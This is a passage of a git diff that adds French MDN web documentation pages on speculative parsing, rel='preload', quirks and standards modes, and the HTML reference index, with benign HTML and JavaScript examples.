+              "region": [ "Oregon" ],
+              "country": [ "US" ],
+              "latitude": [ "45.52345" ],
+              "longitude": [ "-122.682677" ]
+            },
+            "lang": "en",
+            "value": "Mozilla"
+          }
+        ]
+      },
+      "lang": "en"
+    }
+  ],</pre>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Microformat")}} on Wikipedia</li>
+ <li><a href="http://microformats.org/">Le site officiel des microformats</a></li>
+ <li><a href="http://microformats.org/wiki/search_engines">Prise en charge des différents moteurs de recherche</a> sur le site microformats</li>
+ <li><a href="https://indiewebcamp.com/microformats">Les microformats sur IndieWebCamp</a></li>
+</ul>
diff --git a/files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html b/files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html
new file mode 100644
index 0000000000..15342d7577
--- /dev/null
+++ b/files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html
@@ -0,0 +1,36 @@
+---
+title: Optimisation des pages pour l'analyse spéculative
+slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing
+tags:
+  - Avancé
+  - Cookies
+  - Développement Web
+  - HTML
+  - HTML5
+  - NeedsUpdate
+translation_of: Glossary/speculative_parsing
+---
+<p><span id="result_box" lang="fr"><span>Traditionnellement dans les navigateurs, l'analyseur HTML a été exécuté sur le fil principal et a été bloqué après une balise <code>&lt;/script&gt;</code> jusqu'à ce que le script ait été extrait du réseau et exécuté.</span> <span>L'analyseur HTML dans Firefox 4 et versions ultérieures prend en charge l'analyse spéculative sur le fil principal.</span> <span>Il analyse "en avant" pendant que les scripts sont téléchargés et exécutés.</span> <span>Comme dans Firefox 3.5 et 3.6, l'analyseur HTML lance des chargements spéculatifs pour les scripts, les feuilles de style et les images qu'il trouve à l'avance dans le flux.</span> <span>Toutefois, dans Firefox 4 et versions ultérieures, l'analyseur HTML exécute également l'algorithme de construction de l'arborescence HTML de manière spéculative.</span> <span>L'avantage est que lorsqu'une spéculation réussit, il n'est pas nécessaire d'analyser la partie du fichier entrant qui a déjà été analysée pour les scripts, les feuilles de style et les images.</span> <span>L'inconvénient est qu'il y a plus de travail perdu quand la spéculation échoue.</span><br>
+ <br>
+ <span>Ce document vous aide à éviter le genre de choses qui font échouer la spéculation et ralentir le chargement de votre page.</span></span></p>
+
+<h2 id="Réussir_les_chargements_spéculatifs">Réussir les chargements spéculatifs</h2>
+
+<p><span id="result_box" lang="fr"><span>Il n'y a qu'une seule règle pour réussir les chargements spéculatifs de scripts liés, de feuilles de style et d'images :</span></span></p>
+
+<ul>
+ <li>Si vous utilisez un élément <code>&lt;base&gt;</code> p<span id="result_box" lang="fr"><span>our remplacer l'URI de base de votre page, placez l'élément dans la partie non-scriptée du document.</span></span> Ne l'ajoutez pas par <code>document.write()</code> ou <code>document.createElement()</code>.</li>
+</ul>
+
+<h2 id="Éviter_de_perdre_la_sortie_du_constructeur_d'arborescence">Éviter de perdre la sortie du constructeur d'arborescence</h2>
+
+<p>L'analyse spéculative du constructeur d'arborescence échoue quand <code>document.write()</code> change l'état du constructeur d'arborescence, au point que l'état spéculatif après la balise <code>&lt;/script&gt;</code> <span class="short_text" id="result_box" lang="fr"><span>ne tient plus lorsque tout le contenu inséré par</span></span> <code>document.write()</code> a été analysé. <span id="result_box" lang="fr"><span>Cependant, seules les utilisations inhabituelles de</span></span> <code>document.write()</code> entraînent ce genre de problèmes. Ici, les choses à éviter :</p>
+
+<ul>
+ <li><span class="short_text" id="result_box" lang="fr"><span>n'écrivez pas d'arborescences déséquilibrées.</span></span> <code>&lt;script&gt;document.write("&lt;div&gt;");&lt;/script&gt;</code> est mauvais. <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> est valide.</li>
+ <li>n'écrivez pas de balisage infini. <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div");&lt;/script&gt;</code> est mauvais.</li>
+ <li><span id="result_box" lang="fr"><span>ne terminez pas votre écriture avec un retour chariot</span></span> . <code>&lt;script&gt;document.write("Hello World!\r");&lt;/script&gt;</code> est mauvais. <code>&lt;script&gt;document.write("Hello World!\n");&lt;/script&gt;</code> est valide.</li>
+ <li><span id="result_box" lang="fr"><span>notez que l'écriture de balises équilibrées peut entraîner la déduction d'autres balises de telle manière que l'écriture est finalement déséquilibrée</span></span>. Par exemple, <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> <span id="result_box" lang="fr"><span>à l'intérieur de l'élément d'en-tête sera interprété comme</span></span> <code>&lt;script&gt;document.write("&lt;/head&gt;&lt;body&gt;&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> qui est déséquilibré.</li>
+ <li><span class="short_text" id="result_box" lang="fr"><span>ne pas formater une partie de tableau</span></span>. <code>&lt;table&gt;&lt;script&gt;document.write("&lt;tr&gt;&lt;td&gt;Hello World!&lt;/td&gt;&lt;/tr&gt;");&lt;/script&gt;&lt;/table&gt;</code> est mauvais. Par contre, <code>&lt;script&gt;document.write("</code><code>&lt;table&gt;</code><code>&lt;tr&gt;&lt;td&gt;Hello World!&lt;/td&gt;&lt;/tr&gt;</code><code>&lt;/table&gt;</code><code>");&lt;/script&gt;</code> est valide.</li>
+ <li><span id="result_box" lang="fr"><span>À FAIRE : document.write inclus dans d'autres éléments de formatage.</span></span></li>
+</ul>
diff --git a/files/fr/web/html/précharger_du_contenu/index.html b/files/fr/web/html/précharger_du_contenu/index.html
new file mode 100644
index 0000000000..2519577b6c
--- /dev/null
+++ b/files/fr/web/html/précharger_du_contenu/index.html
@@ -0,0 +1,237 @@
+---
+title: Précharger du contenu avec rel="preload"
+slug: Web/HTML/Précharger_du_contenu
+tags:
+  - Guide
+  - HTML
+  - JavaScript
+  - Performance
+  - preload
+translation_of: Web/HTML/Preloading_content
+---
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/HTML")}}</div>
+
+<p class="summary">La valeur <code>preload</code> de l'attribut {{htmlattrxref("rel", "link")}} pour l'élément {{htmlelement("link")}} permet d'écrire des requêtes déclaratives de récupération au sein de l'élément {{htmlelement("head")}}. On peut ainsi indiquer les ressources dont la page aura besoin peu après son chargement. Cela permet de les précharger au début du chargement de la page, avant que le rendu intervienne. On s'assure donc que les ressources nécessaires soient disponibles plus tôt, évitant ainsi de bloquer le rendu initial de la page et améliorant les performances. Dans cet article, on voit comment utiliser <code>preload</code>.</p>
+
+<h2 id="Les_bases">Les bases</h2>
+
+<p>On utilise généralement l'élément <code>&lt;link&gt;</code> de façon assez simple afin de charger une feuille de style CSS pour la page :</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" href="styles/main.css"&gt;</pre>
+
+<p>Dans le cas qui va nous intéresser, on utilisera l'attribut <code>rel</code> avec la valeur <code>preload</code>. Cela va permettre d'utiliser l'élément <code>&lt;link&gt;</code> pour précharger à peu près n'importe quelle ressource dont on aurait besoin. Dans la version la plus simple, il suffit d'indiquer le chemin de la ressource à précharger via l'attribut {{htmlattrxref("href", "link")}} et le type de la ressource via l'attribut {{htmlattrxref("as", "link")}}.</p>
+
+<p>Voici un exemple d'application simple (vous pouvez consulter <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css">le code source de cet exemple JS et CSS</a> et visualiser <a href="https://mdn.github.io/html-examples/link-rel-preload/js-and-css/">la démo <em>live</em></a>) :</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Exemple de preload avec JS et CSS&lt;/title&gt;
+
+  &lt;link rel="preload" href="style.css" as="style"&gt;
+  &lt;link rel="preload" href="main.js" as="script"&gt;
+
+  &lt;link rel="stylesheet" href="style.css"&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;h1&gt;Balles rebondissantes&lt;/h1&gt;
+  &lt;canvas&gt;&lt;/canvas&gt;
+
+  &lt;script src="main.js"&gt;&lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>Dans cet exemple, on précharge les fichiers CSS et JavaScript afin qu'ils soient disponibles dès qu'ils sont nécessaires pour le rendu de la page. Cet exemple est un peu trivial, mais on peut voir que, plus les ressources sont identifiées <em>tard</em>, plus elles sont grandes. Par exemple, une feuille de style pourra à son tour pointer vers d'autres ressources comme des polices ou des images. On pourrait aussi avoir de grandes images ou des vidéos à afficher plus bas dans la page.</p>
+
+<p><code>preload</code> possède d'autres avantages. On pourra utiliser l'attribut <code>as</code> afin d'indiquer le type de contenu à précharger afin que le navigateur puisse :</p>
+
+<ul>
+ <li>Prioriser le chargement des ressources plus précisément.</li>
+ <li>Identifier les requêtes utilisées ensuite afin de réutiliser la même ressource si c'est possible.</li>
+ <li>Appliquer la bonne <a href="/fr/docs/HTTP/CSP">politique de sécurité du contenu</a> pour la ressource en question</li>
+ <li>Utiliser le bon {{HTTPHeader("Accept")}} pour les requêtes associées.</li>
+</ul>
+
+<h3 id="Quels_sont_les_types_de_contenu_qu'on_peut_précharger">Quels sont les types de contenu qu'on peut précharger ?</h3>
+
+<p>Il est possible de précharger de nombreux types de contenu, voici les valeurs principales qu'on peut utiliser avec l'attribut <code>as</code> :</p>
+
+<ul>
+ <li><code>audio</code> : un fichier audio.</li>
+ <li><code>document</code> : un document HTML destiné à être intégré dans un élément {{htmlelement("frame")}} ou dans un élément {{htmlelement("iframe")}}.</li>
+ <li><code>embed</code> : une ressource destinée à être intégrée dans un élément {{htmlelement("embed")}}.</li>
+ <li><code>fetch</code> : une ressource à laquelle on accèdera via une requête <code>fetch</code> ou via une requête XHR (par exemple un <code>ArrayBuffer</code> ou un fichier JSON).</li>
+ <li><code>font</code> : un fichier de police de caractère.</li>
+ <li><code>image</code> : un fichier contenant une image .</li>
+ <li><code>object</code> : une ressource à intégrer dans un élément {{htmlelement("embed")}}.</li>
+ <li><code>script</code> : un fichier JavaScript.</li>
+ <li><code>style</code> : une feuille de style.</li>
+ <li><code>track</code> : un fichier WebVTT.</li>
+ <li><code>worker</code> : un <em>web worker</em> ou un <em>worker</em> partagé JavaScript.</li>
+ <li><code>video</code> : un fichier vidéo.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note </strong>: Pour avoir plus de détails quant à ces valeurs et aux fonctionnalités web associées, vous pouvez consulter la spécification Preload et notamment <a href="https://w3c.github.io/preload/#link-element-extensions">les extensions à l'élément <code>&lt;link&gt;</code></a>. On notera également que la liste complète des valeurs acceptables pour l'attribut <code>as</code> est définie dans la spécification Fetch (cf. <a href="https://fetch.spec.whatwg.org/#concept-request-destination">les destinations de requête</a>).</p>
+</div>
+
+<h2 id="Ajouter_un_type_MIME">Ajouter un type MIME</h2>
+
+<p>Les éléments <code>&lt;link&gt;</code> permettent d'utiliser un attribut {{htmlattrxref("type", "link")}} qui contient <a href="https://fr.wikipedia.org/wiki/Type_MIME">le type MIME</a> de la ressource vers laquelle pointe l'élément. Cet attribut est particulièrement utile pour le préchargement : le navigateur pourra analyser l'attribut <code>type</code> afin de déterminer s'il prend en charge ce type de ressource. Le téléchargement ne démarrera que si c'est le cas, sinon, l'élément sera ignoré.</p>
+
+<p>Vous pouvez voir un exemple de ce fonctionnement avec une vidéo (<a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/video">voir le code source complet</a> et <a href="https://mdn.github.io/html-examples/link-rel-preload/video/">la version live</a>) :</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Exemple de préchargement d'une vidéo&lt;/title&gt;
+
+  &lt;link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;video controls&gt;
+    &lt;source src="sintel-short.mp4" type="video/mp4"&gt;
+    &lt;source src="sintel-short.webm" type="video/webm"&gt;
+    &lt;p&gt;Votre navigateur ne prend pas en charge les vidéos HTML5.
+       Voici &lt;a href="sintel-short.mp4"&gt;un lien pour télécharger la vidéo&lt;/a&gt;.&lt;/p&gt;
+  &lt;/video&gt;
+&lt;/body&gt;</pre>
+
+<p>Dans cet exemple, les navigateurs qui prennent en charge le format MP4 préchargeront le fichier en question et l'utiliseront. En revanche, les navigateurs qui ne supportent que WebM pourront bien utiliser le second fichier mais celui-ci ne sera préchargé. Cet exemple illustre comment ajouter le préchargement dans une stratégie d'amélioration progressive.</p>
+
+<h2 id="Récupérer_des_ressources_de_différentes_origines">Récupérer des ressources de différentes origines</h2>
+
+<p>Si le paramétrage <a href="/fr/docs/HTTP/Access_control_CORS">CORS</a> de votre site fonctionne correctement, vous pouvez également précharger des ressources provenant d'origines multiples tant que l'attribut {{htmlattrxref("crossorigin","link")}} est utilisé dans l'élément <code>&lt;link&gt;</code>.</p>
+
+<p>Les fichiers pour les polices de caractères constituent un cas intéressant. En effet, pour différentes raisons, elles doivent être récupérées via un mode CORS anonyme (cf. <a href="https://drafts.csswg.org/css-fonts/#font-fetching-requirements">les spécifications pour la récupération des polices</a> si vous êtes intéressé par les détails).</p>
+
+<p>Utilisons ce cas de figure comme exemple. Tout d'abord parce que le chargement des polices est un scénario fréquent et ensuite parce que c'est plus simple que de mettre en place un exemple avec des requêtes vers plusieurs origines. Vous pouvez consulter <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts">le code source complet de l'exemple sur GitHub</a> (<a href="https://mdn.github.io/html-examples/link-rel-preload/fonts/">et voir le résultat <em>live</em> ici</a>) :</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Exemple de préchargement pour les polices&lt;/title&gt;
+
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.woff" as="font" type="font/woff" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous"&gt;
+
+  &lt;link rel="preload" href="fonts/zantroke-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.woff" as="font" type="font/woff" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous"&gt;
+
+  &lt;link href="style.css" rel="stylesheet" type="text/css"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  ...
+&lt;/body&gt;</pre>
+
+<p>Vous pouvez ici voir qu'on fournit l'indication sur le type de ressource via l'attribut <code>as</code>, le type MIME grâce à l'attribut <code>type</code> mais aussi et surtout l'attribut <code>crossorigin</code> qui permet de gérer le CORS.</p>
+
+<p>Il y a donc moins de risque que la police soit disponible après le premier rendu de la page, on évite ainsi les problèmes de scintillement de police (ou <em>FOUT</em> pour <em>Flash Of Unstyled Text</em>).</p>
+
+<h2 id="Gérer_les_différents_médias">Gérer les différents médias</h2>
+
+<p>Une qualité des éléments <code>&lt;link&gt;</code> est qu'ils gèrent l'attribut {{htmlattrxref("media", "link")}}. Ce dernier peut être utilisé afin de conditionner le chargement de la ressource <a href="/fr/docs/Web/CSS/@media">selon le type de média</a> voire <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">selon des requêtes de média (<em>media queries</em>)</a>. En bref, il est possible de faire du chargement de ressources qui soit <em>responsive</em> !</p>
+
+<p>Prenons un exemple simple (<a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/media">le code source est disponible sur GitHub</a>, <a href="https://mdn.github.io/html-examples/link-rel-preload/media/">avec une démonstration <em>live</em></a>) :</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Exemple de préchargement responsive&lt;/title&gt;
+
+  &lt;link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)"&gt;
+  &lt;link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"&gt;
+
+  &lt;link rel="stylesheet" href="main.css"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;header&gt;
+    &lt;h1&gt;Mon site&lt;/h1&gt;
+  &lt;/header&gt;
+
+  &lt;script&gt;
+    var mediaQueryList = window.matchMedia("(max-width: 600px)");
+    var header = document.querySelector('header');
+
+    if(mediaQueryList.matches) {
+      header.style.backgroundImage = 'url(bg-image-narrow.png)';
+    } else {
+      header.style.backgroundImage = 'url(bg-image-wide.png)';
+    }
+  &lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>Vous pouvez ici voir qu'on a ajouté les attributs <code>media</code> sur les éléments <code>&lt;link&gt;</code> afin de charger une image étroite si l'utilisateur utilise un écran étroit ou une image plus large si l'écran de l'appareil est plus large. Il est toutefois nécessaire d'afficher la bonne image en en-tête selon le résultat de la requête média et on utilise donc {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} (lire <a href="/fr/docs/Web/CSS/Requêtes_média/Tester_les_media_queries">Tester les requêtes média</a> pour plus d'informations sur ce point).</p>
+
+<p>Ce concept n'est pas limité aux images voire aux fichiers du même type ! Laissez libre cours à votre imagination ! On peut imaginer charger un diagramme SVG relativement simple si l'utilisateur est sur un écran étroit (où la bande passante et le processeur sont souvent plus limités) ou précharger un code JavaScript complexe, utilisé pour afficher un modèle 3D complexe lorsque l'appareil de l'utilisateur possède plus de ressources.</p>
+
+<h2 id="Utiliser_des_scripts_et_des_préchargements_différés">Utiliser des scripts et des préchargements différés</h2>
+
+<p>Un autre avantage de ce mécanisme est qu'on peut choisir d'exécuter des préchargements par script si besoin. Dans le fragment de code suivant, on crée une instance de {{domxref("HTMLLinkElement")}} qu'on attache au DOM :</p>
+
+<pre class="brush: js">var preloadLink = document.createElement("link");
+preloadLink.href = "myscript.js";
+preloadLink.rel = "preload";
+preloadLink.as = "script";
+document.head.appendChild(preloadLink);
+</pre>
+
+<p>Cela signifie que le navigateur préchargera le fichier JavaScript sans pour autant l'utiliser immédiatement.</p>
+
+<p>Pour utiliser le script en question, quand on en a besoin, on pourrait écrire :</p>
+
+<pre class="brush: js">var preloadedScript = document.createElement("script");
+preloadedScript.src = "myscript.js";
+document.body.appendChild(preloadedScript);
+</pre>
+
+<p>Cela permet de précharger un script et de différer son exécution jusqu'au moment où on en a besoin.</p>
+
+<h2 id="Les_autres_mécanismes_de_préchargement">Les autres mécanismes de préchargement</h2>
+
+<p>Il existe d'autres fonctionnalités qui permettent de précharger des ressources mais aucune n'est aussi flexible que <code>&lt;link rel="preload"&gt;</code> :</p>
+
+<ul>
+ <li><code>&lt;link rel="prefetch"&gt;</code> est pris en charge par les navigateurs depuis longtemps mais sert pour précharger des ressources qui seront utilisées sur la prochaine page vers laquelle on navigue. Autrement dit, c'est utile mais pas pour la page courante ! De plus, les navigateurs choisiront une priorité moins élevée pour les ressources <code>prefetch</code> que pour celles utilisant <code>preload</code> (la page actuelle est considérée comme plus importante que la suivante). Pour plus de détails, lire <a href="/fr/docs/FAQ_sur_le_préchargement_des_liens">la FAQ sur le préchargement des liens</a>.</li>
+ <li><code>&lt;link rel="prerender"&gt;</code> est utilisé afin d'afficher la page indiquée en arrière-plan, accélérant le chargement de la page si l'utilisateur navigue vers cette page. Pouvant entraîner une consommation de bande passante plus importante, Chrome considère <code>prerender</code> comme <a href="https://developers.google.com/web/updates/2018/07/nostate-prefetch">un préchargement NoState</a>.</li>
+ <li><code>&lt;link rel="subresource"&gt;</code>{{non-standard_inline}} était pris en charge par Chrome par le passé et devait permettre de précharger les ressources pour le chargement et la navigation dans la page mais il n'existait de moyen de priorisation (l'attribut <code>as</code> n'existait pas) et l'ensemble des ressources recevait donc une priorité assez basse.</li>
+ <li>De nombreux utilitaires de chargement scriptés existent par ailleurs mais ils ne disposent pas du contexte de priorisation disponible dans le navigateur et, en tant que ressources, peuvent participer à ces problèmes de performances de chargement.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+   <td>{{Spec2('Preload')}}</td>
+   <td>Détails complémentaires sur <code>preload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'link-type-preload', 'rel=preload')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition simple de <code>preload</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.link.rel.preload")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/">Le préchargement : à quoi ça sert ? (en anglais)</a> par Yoav Weiss</li>
+</ul>
diff --git a/files/fr/web/html/quirks_mode_and_standards_mode/index.html b/files/fr/web/html/quirks_mode_and_standards_mode/index.html
new file mode 100644
index 0000000000..e6859b0e04
--- /dev/null
+++ b/files/fr/web/html/quirks_mode_and_standards_mode/index.html
@@ -0,0 +1,53 @@
+---
+title: Mode quirks de Mozilla
+slug: Web/HTML/Quirks_Mode_and_Standards_Mode
+tags:
+  - Guide
+  - HTML
+  - Web
+  - XHTML
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>Par le passé, les pages web étaient souvent écrites sous deux versions : une destinée à Netscape Navigator et l'autre à Microsoft Internet Explorer. Lorsque les standards du Web sont apparus avec le W3C, les navigateurs ne pouvaient pas simplement commencer à les utiliser car leur mise en place rendrait inutilisable la plupart des sites web existant. Les navigateurs ont alors introduit deux modes afin de traiter les sites respectants les standards des autres sites historiques.</p>
+
+<p>Il existe aujourd'hui trois modes utilisés par les moteurs de rendu des navigateurs web : le mode <em>quirks</em>, le mode quasi-standard et le mode standard total. En <strong>mode <em>quirks</em></strong>, le moteur de disposition émule le comportement non-standard de Navigator 4 et d'Internet Explorer 5. Ce mode permet de prendre en charge les sites web rédigés avant l'adoption généralisées des standards web. En <strong>mode standard total</strong>, le comportement du navigateur est entièrement (aux bugs près) celui décrit par les spécifications HTML et CSS. En <strong>mode quasi-standard</strong>, très peu de déviations sont implémentées.</p>
+
+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">Comment les navigateurs déterminent le mode à utiliser ?</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Pour les documents <a href="/fr/docs/Web/HTML" title="/en-US/docs/HTML">HTML</a>, les navigateurs utilisent le <em>DOCTYPE</em> présent au début du document afin de déterminer si celui-ci doit être géré avec le mode <em>quirks</em> ou avec l'un des modes standards. Si vous souhaitez qu'une page utilise le mode standard total, son DOCTYPE devra correspondre à celui utilisé dans cet exemple :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="fr"&gt;
+  &lt;head&gt;
+    &lt;meta charset=UTF-8&gt;
+    &lt;title&gt;Bonjour tout le monde !&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Le DOCTYPE illustré dans cet exemple, <code>&lt;!DOCTYPE html&gt;</code>, est le plus simple possible et correspond à la recommandation HTML5. Les versions précédentes des standards HTML recommandaient d'autres variantes. Toutefois, l'ensemble des navigateurs actuels utiliseront le mode standard total avec ce DOCTYPE (y compris IE6). Il n'est pas justifié de choisir un DOCTYPE plus compliqué ; le faire risquerait de déclencher l'utilisation du mode quasi-standard ou du mode <em>quirks</em>.</p>
+
+<p>Assurez-vous que le DOCTYPE soit présent au tout début du document HTML. Tout ce qui précède le DOCTYPE (un commentaire ou une déclaration XML) déclenchera le mode <em>quirks</em> pour Internet Explorer 9 et les versions antérieures.</p>
+
+<p>En HTML5, le seul but du DOCTYPE est d'activer le mode standard total. Les anciennes versions du standard HTML donnaient une sémantique plus riche au DOCTYPE mais aucun navigateur n'a utilisé le DOCTYPE pour autre chose que pour choisir entre le mode <em>quirks</em> et l'un des modes standards.</p>
+
+<p>Vous pouvez également consulter <a class="external" href="https://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">cet article avec plus de détails sur la façon dont les navigateurs choisissent entre les différents modes</a>.</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>Si la page est servie comme <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> avec le type MIME <code>application/xhtml+xml</code>  dans l'en-tête HTTP <code>Content-Type</code>, il n'est pas nécessaire d'utiliser de DOCTYPE afin d'activer le mode standard car de tels documents utiliseront toujours le mode standard total. On notera toutefois que servir les pages avec un type <code>application/xhtml+xml</code> entraînera l'affichage <a href="/en-US/docs/XHTML#Support" title="XHTML">d'une boîte de téléchargement</a> d'un fichier au format inconnu sous Internet Explorer 8 car IE9 est la première version d'Internet Explorer à prendre en charge XHTML.</p>
+
+<p>Si on sert un contenu semblable à du XHTML mais avec le type MIME <code>text/html</code>, le navigateur l'interprètera comme du HTML et il faudra alors ajouter le DOCTYPE afin d'utiliser un mode standard.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Comment connaître le mode utilisé ?</h2>
+
+<p>Sous Firefox, vous pouvez utiliser le menu contextuel : "Informations sur la page" et le champ "Mode de rendu" de l'onglet Général..</p>
+
+<p>Sous Internet Explorer, appuyez sur la touche <em>F12</em> et utilisez le champ <em>Document Mode</em>.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Quelles sont les différences entre les modes ?</h2>
+
+<p>Voir <a href="/fr/docs/Comportement_du_mode_quirks_de_Mozilla">la liste des déviations (<em>quirks</em>)</a> et <a href="/fr/docs/Mozilla/Mode_presque_standard_de_Gecko" title="Gecko%27s_%22Almost_Standards%22_Mode">la description du mode quasi-standard</a> pour les différences entre ces modes.</p>
diff --git a/files/fr/web/html/reference/index.html b/files/fr/web/html/reference/index.html
new file mode 100644
index 0000000000..5361ee77ac
--- /dev/null
+++ b/files/fr/web/html/reference/index.html
@@ -0,0 +1,30 @@
+---
+title: Référence HTML
+slug: Web/HTML/Reference
+tags:
+  - HTML
+  - Landing
+  - Reference
+  - Web
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>Cette référence <a href="/fr/docs/Web/HTML">HTML</a> décrit l'ensemble des <strong>éléments</strong> et des <strong>attributs</strong> qui peuvent être utilisés en HTML, y compris les <strong>attributs universels</strong> qui peuvent s'appliquer sur tous les éléments.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML/Element">Référence des éléments HTML</a></dt>
+ <dd>Cette page énumère tous les éléments HTML, regroupés ici selon leurs fonctions.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Attributs">Référence des attributs HTML</a></dt>
+ <dd>Chaque élément HTML peut avoir un ou plusieurs attributs. Ces attributs sont des valeurs supplémentaires qui permettent de configurer les éléments ou d'adapter leur comportement.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Attributs_universels">Attributs universels</a></dt>
+ <dd>Les attributs universels peuvent être définis sur tous les éléments HTML, y compris pour les éléments non définis dans le standard. Autrement dit, les éléments non-standards doivent pouvoir accepter ces attributs. Cela permettra au navigateur de les gérer selon certains des aspects de la spécification. Par exemple, pour un navigateur conforme, un élément &lt;toto hidden&gt;...&lt;toto&gt; sera masqué bien que &lt;toto&gt; ne soit pas un élément HTML valide.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Link_types">Types de liens</a></dt>
+ <dd>En HTML, les différents types de liens indiquent les relations entre deux documents. Ces liens peuvent prendre la forme d'un élément {{HTMLElement("a")}}, {{HTMLElement("area")}} ou {{HTMLElement("link")}}.</dd>
+ <dt><a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu">Catégories de contenu</a></dt>
+ <dd>Chaque élément HTML appartient à une ou plusieurs catégories de contenu. Ces catégories regroupent des éléments avec des caractéristiques communes.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Formats des dates et heures en HTML</a></dt>
+ <dd>Certains éléments HTML permettent de manipuler des valeurs temporelles (dates, heures, dates et heures). Cet article décrit le format de représentation de ces valeurs, notamment utilisées pour les éléments {{HTMLElement("input")}}, {{HTMLElement("ins")}} et {{HTMLElement("del")}}.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/HTML">Voir tout...</a></span></p>
diff --git a/files/fr/web/html/reglages_des_attributs_cors/index.html b/files/fr/web/html/reglages_des_attributs_cors/index.html
new file mode 100644
index 0000000000..ebb63f97f5
--- /dev/null
+++ b/files/fr/web/html/reglages_des_attributs_cors/index.html
@@ -0,0 +1,96 @@
